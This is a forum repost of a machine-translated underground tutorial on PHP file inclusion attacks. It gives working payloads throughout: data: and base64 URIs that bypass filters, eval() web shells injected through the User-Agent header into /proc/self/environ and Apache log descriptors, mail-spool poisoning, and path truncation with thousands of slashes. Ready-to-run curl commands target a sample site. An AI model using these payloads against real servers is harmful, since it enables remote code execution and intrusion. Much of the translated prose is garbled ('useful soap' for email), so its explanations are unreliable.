Advanced LFI Tutorial

[ZeroCold]

L-am gasit pe undeva pe HF.

Translated from an advanced russian underground forum

Ask yourself: what do you know about the remote or local file inclusion? Surely, the answer will be the following sentence: "circumcision with an unwanted expansion of Bernoulli-byte", "include session files from / tmp, images from a shell, apache logs ...».

I hasten to assure you that this is not all ways to squeeze the absolute maximum of include! Now I will talk about the details of recently published an interesting way to use this common bug.

Minutes «Data»

The first thing I want you to meet a great way to circumvent many clever filtering at the remote include. This method is to use the protocol Data (for the understanding of the protocol is desirable to study RFC 2397, references to which, as always, look in the footnotes).

So, imagine that in the test php-script (php> = 5.2.0 - with this version includes support for data and other protocols) contains the following

<?php
$dir = $_GET['dir'];

//our mega-filter
$dir = str_replace(array('http://','ftp://','/','.'), '', $dir);

//default file to any directory include
$dir .= '/pages/default.php';

//actually,  include
include($dir . '/pages/default.php');
?>

It seems that in this situation, not a ride no remote include. After all, except that the cut standard 'http://', ??'ftp://', ??come under the knife filter also point to a slash!

And now look carefully at the next exploit to our RFI and beautiful bypass the filter, which prevents hackers faithful (as with any other remote inkluda directive PHP - allow_url_include, of course, must be set to On)

http://localhost/index.php?dir=data:,<?php eval($_REQUEST[cmd]); ?>&cmd=phpinfo();

This code is quite well show you the output of the phpinfo ()! But what happens when the filter becomes more rigid and takes roughly the form?

<?php
...
//A fancy filter
$dir = str_replace(array('_',']','[',')','(','$','http://','ftp://','/','.'), '', $dir);
$dir = htmlspecialchars($dir);
...
?>

You might think again that it is impossible to execute arbitrary php-code (even in the above scenario) as well as filter cut almost all the characters used in this evil-code. But no such luck. Already a favorite with your protocol «data» support such a useful thing as base64 (by the way, if filtered, and the characters "+", "=," sure, you can pick up base64-value of its shell without them).

http://localhost/index.php?dir=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8+&cmd=phpinfo();
(«+» to replace the url-encoded «%2b»)

And again on the screen phpinfo ()! But we can not dwell on the mere RFI. Get ready for some very delicious.

Courteous /proc/self/environ

Imagine that on a certain site (http://site.com) present the following

<?php
$page = $_GET['page'];
include('./pages/'.$page);
?>

Then imagine that the opportunity to fill the file /image with a shell We have no way to apache logs, we never found, and in /tmp are not saved session data. Neighboring sites is also no. What should I do?

Inexperienced in LFI hacker dropped to his hands. We are not one of those, for help in a hurry storage environment variable /proc/self/ environ! So when we ask for any php-page on the server, creates a new process. In * nix-systems, each process has its own entry in / proc, and / proc / self, in turn - this is a static path and a symbolic link, which contains useful information for the latter process.

If we inject our evil-code in the /proc/self/environ, it will be able to run arbitrary commands with the LFI:). Attractive? And now, in fact, the question is how to insert its value from evil-code in the /proc/self/ environ?

Very easy! In the same way that you inject your code into apache logs, you can proinzhektit code and /proc/self/environ. For example, take our favorite and is easily replaced user agent. By default of / proc / self / environ, showing the useragent, looks like this:

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=admin@site.com
...
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=150...

Now change to user agent <?php eval($_GET[cmd]); ?> and turn to our vulnerable script as follows:

curl "http://site.com/index.php?page=../../../../../../../../proc/self/environ&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

As expected, the function phpinfo () succeeds. In this part of /proc/self/environ with injection will look like:

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=admin@site.com
...
<?php eval($_GET[cmd]); ?> HTTP_KEEP_ALIVE=150
...

The method is good in all, except that the string yuzeragenta and evil-code should be implemented quickly and at the same time (as your code in / proc / self / environ can easily modify any other newly launched process.) Therefore, the winding back the acquired knowledge into their heads, move to the next method.

Logs, we will find you!

Again, imagine that we have a site with a local include but proinkludit nothing. How do you know the location of apache access_log and error_log? Secretly I say that to know where they are, not necessarily! For us, tried all the same / proc, since there is a convenient symbolic link to the actual location of logs apache.

Use it for include in several ways:

1. Through the process id and labels

/proc/%{PID}/fd/%{FD_ID}

Here:% {PID} - id of the process (see if you can by reading/proc/self/status),% {FD_ID} - shortcuts to the files (usually 2 and 7 - Apache logs).

Exemple:

http://site.com/index.php?page=../../../../../../../../proc/self/status

Suppose,% {PID} is equal to 1228, then end the exploit is as follows:

curl "http://site.com/index.php?page=../../../../../../../../proc/1228/fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

2. directly, without the recognition process id

curl "http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

This method is more suitable for you, as «self» - this is always the current process, and in the first case,% {PID} has a bad property often vary. In both these ways, as in any other Apache log LFI, those same logic, of course, must be available for reading.

Useful soap

At this time you need to imagine that the site does not work all the victims of the previous methods LFI. And incredibly scary! But such cases do happen, and Italian hackers have been able to come up with amazing secteam inkluda way through the usual e-mail!

Thus, the most common web applications contain a function to send soap as part of the registration system, any subscriptions, etc. Often, the user can modify the contents of the letter. At the same time, Nix could save a soap locally.

LFI technique itself through the mail is as follows:

1. I have a profile of the attacker's Web application on a vulnerable server.

2. The attacker modifies any part of the profile (for example, about), which should come in the letter as proof of change of information at your evil-php code, prepared for the local inkluda.

3. The attacker modifies the e-mail to www-data @ localhost (www-data - user, who is running under httpd; they can be values ??such as «apache», «wwwrun», «nobody», «wwwdata», etc. ..)

In the end, sent the soap will be in /var/mail (or in /var/spool/mail) and have a user name httpd. Here is an exploit for this method:

curl "http://site.com/index.php?page=../../../../../../../../var/mail/www-data&cmd=phpinfo();"

It should also be noted that the mail-file will be available only to the user to whom the letter and is intended (ie, Apache must be sure to run under the same user).

Null-byte resting

Again, your imagination and imagine that all of the above methods work well, but the vulnerable application contains at this time, the following

<?php
$page = $_GET['page'];

//Protection against "zero toxic"
if (!get_magic_quotes_gpc())
$page = addslashes($page);

include('./pages/'.$page.'.php');
?>

What to do? You can proinkludit logs, but in the end is appended not to cut the usual 00% extension «. Php». At this time you will feature (or is it a vulnerability?) Of the php, found users of popular forum zabugornogo hacker with a funny nickname sla.ckers.org barbarianbob.

Feature is that the interpreter php while processing the path to any file or folder cuts the extra characters "/" and «/.», as well, depending on the platform, uses a certain limitation on the length of the path itself (the restriction is stored in constant MAXPATHLEN). As a result, everything outside of this value are discarded.

Now let's take a closer look, this vector LFI, turning to a vulnerable script as follows:

curl "http://site.com/index.php?page=../../../../../../../../proc/self/environ//[Slashe 4096]//&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Our favorite phpinfo (); will succeed due to several reasons.

1. include in the script takes the following form -

<?php
...
include('./pages/../../../../../../../../proc/self/environ//[Slashe 4096]////.php');
...
?>

2. Since our path will be much longer than MAXPATHLEN (by the way, not necessarily it is equal to exactly 4096; in windsurfing, for example, it can be equal to only 200 characters with a tail - the Council for each system tests the value separately), then the characters are at the end of the path (in this case - a number of slashes and «. php»), the interpreter php, without asking permission from anyone who successfully cut off.

3. After paragraph "2", our code will look like this:

<?php
...
include('./pages/../../../../../../../../proc/self/environ//[a lot of slashes]');
...
?>

As you already know, the extra slash at the end of the path also cuts the php helpful, and our malicious code, in the end, turn into a fully working LFI!

<?php
...
include('./pages/../../../../../../../../proc/self/environ');
...
?>

To test the number of slashes to use this vulnerability on its server advise to try the following php-script.

<?php
//what file to proinkludit
$file_for_include = 'work.txt';
for($i=1;$i<=4096;$i++)
{
$its_work = file_get_contents('http://localhost/test/'.$file_for_include.str_repeat('/',$i).'.php');
if($its_work=='1')
{
print 'slashes Used: '.$i;
break;
}
}
?>

Next to the script just put the file with work.txt written in it yedinichku. If include occurred successfully, the script displays the number of slashes you used for this very include.

For complete understanding of the technical aspects of this bug advise very carefully examine the relevant references in the footnotes.

And finally ...

As you can see, progress in reserchinge vulnerabilities are not standing still. New bugs are not in the php-scripts, and in the shell php! What was once seemed impossible to break, it now seems nothing more than a childish prank and fun for hardened hacker.

Null-byte has almost sunk into oblivion, apache logs include acquires new sophisticated methods, RFI is available through protocols other than ftp and http ... What's next? Wait and see.